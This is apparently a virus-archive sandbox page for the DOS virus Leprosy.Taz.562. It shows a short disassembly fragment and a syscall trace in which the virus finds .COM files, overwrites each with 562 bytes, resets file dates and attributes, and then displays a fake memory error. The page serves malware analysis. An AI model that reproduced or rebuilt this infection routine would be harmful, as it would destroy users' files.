Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.Taz.562

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:10:04.119623361Z 44 PC: 1314e | Get time 0x1314e: cmp byte ptr [0x103], 0
0x13153: je 0x1315a
0x13155: cmp dh, 0xf
0x13158: jg 0x13163
0x1315a: cmp dl, 0
0x1315d: je 0x1314a
0x1315f: mov byte ptr [0x103], dl
0x13163: mov byte ptr [0x7ff], 0
0x13168: mov byte ptr [0x800], 4
0x1316d: mov byte ptr [0x809], 0
0x13172: mov cx, 0x27
0x13175: mov dx, 0x115
0x13178: mov ah, 0x4e
0x1317a: int 0x21
0x1317c: cmp ax, 0x12
0x1317f: je 0x13184
0x13181: call 0x131a6
0x13184: mov cx, 0x27
0x13187: mov dx, 0x11b
0x1318a: mov ah, 0x4e
2018-12-17T22:10:04.122785473Z 78 PC: 1317c | Find first file
2018-12-17T22:10:04.128512172Z 78 PC: 1318e | Find first file
2018-12-17T22:10:04.135538064Z 67 PC: 131c7 | Get or set file attributes
2018-12-17T22:10:04.156107887Z 61 PC: 131cd | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:10:04.163199342Z 63 PC: 131dc | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:10:04.16716075Z 62 PC: 13210 | Close file
2018-12-17T22:10:04.169300173Z 61 PC: 13219 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:10:04.174046286Z 64 PC: 12a54 | Write file or device (Write 562 bytes on handle 5)
2018-12-17T22:10:04.185598385Z 87 PC: 13241 | Get or set file date and time
2018-12-17T22:10:04.187688976Z 62 PC: 13249 | Close file
2018-12-17T22:10:04.216060845Z 67 PC: 13256 | Get or set file attributes
2018-12-17T22:10:04.22164818Z 79 PC: 13200 | Find next file
2018-12-17T22:10:04.2256439Z 67 PC: 131c7 | Get or set file attributes
2018-12-17T22:10:04.236711875Z 61 PC: 131cd | Open file (Filename = 'PRINT.COM')
2018-12-17T22:10:04.243838065Z 63 PC: 131dc | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:10:04.255482148Z 62 PC: 13210 | Close file
2018-12-17T22:10:04.258959957Z 61 PC: 13219 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:10:04.271564195Z 64 PC: 12a54 | Write file or device (Write 562 bytes on handle 5)
2018-12-17T22:10:04.279896377Z 87 PC: 13241 | Get or set file date and time
2018-12-17T22:10:04.282431213Z 62 PC: 13249 | Close file
2018-12-17T22:10:04.290579568Z 67 PC: 13256 | Get or set file attributes
2018-12-17T22:10:04.295322921Z 79 PC: 13200 | Find next file
2018-12-17T22:10:04.300207646Z 67 PC: 131c7 | Get or set file attributes
2018-12-17T22:10:04.310048058Z 61 PC: 131cd | Open file (Filename = 'HELLO.COM')
2018-12-17T22:10:04.316865135Z 63 PC: 131dc | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:10:04.324752987Z 62 PC: 13210 | Close file
2018-12-17T22:10:04.326902181Z 61 PC: 13219 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:10:04.333430248Z 64 PC: 12a54 | Write file or device (Write 562 bytes on handle 5)
2018-12-17T22:10:04.342814311Z 87 PC: 13241 | Get or set file date and time
2018-12-17T22:10:04.344591522Z 62 PC: 13249 | Close file
2018-12-17T22:10:04.352829146Z 67 PC: 13256 | Get or set file attributes
2018-12-17T22:10:04.358457949Z 79 PC: 13200 | Find next file
2018-12-17T22:10:04.361090925Z 67 PC: 131c7 | Get or set file attributes
2018-12-17T22:10:04.370632734Z 61 PC: 131cd | Open file (Filename = 'PHANG.COM')
2018-12-17T22:10:04.377882888Z 63 PC: 131dc | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:10:04.384609879Z 62 PC: 13210 | Close file
2018-12-17T22:10:04.386497479Z 61 PC: 13219 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:10:04.393886064Z 64 PC: 12a54 | Write file or device (Write 562 bytes on handle 5)
2018-12-17T22:10:04.401732408Z 87 PC: 13241 | Get or set file date and time
2018-12-17T22:10:04.403373555Z 62 PC: 13249 | Close file
2018-12-17T22:10:04.411233964Z 67 PC: 13256 | Get or set file attributes
2018-12-17T22:10:04.42129303Z 9 PC: 132d4 | Display string (String= ' Error #2307 - Too big to fit in memory')
2018-12-17T22:10:04.425365055Z 76 PC: 132d8 | Terminate with return code (Return code = '36')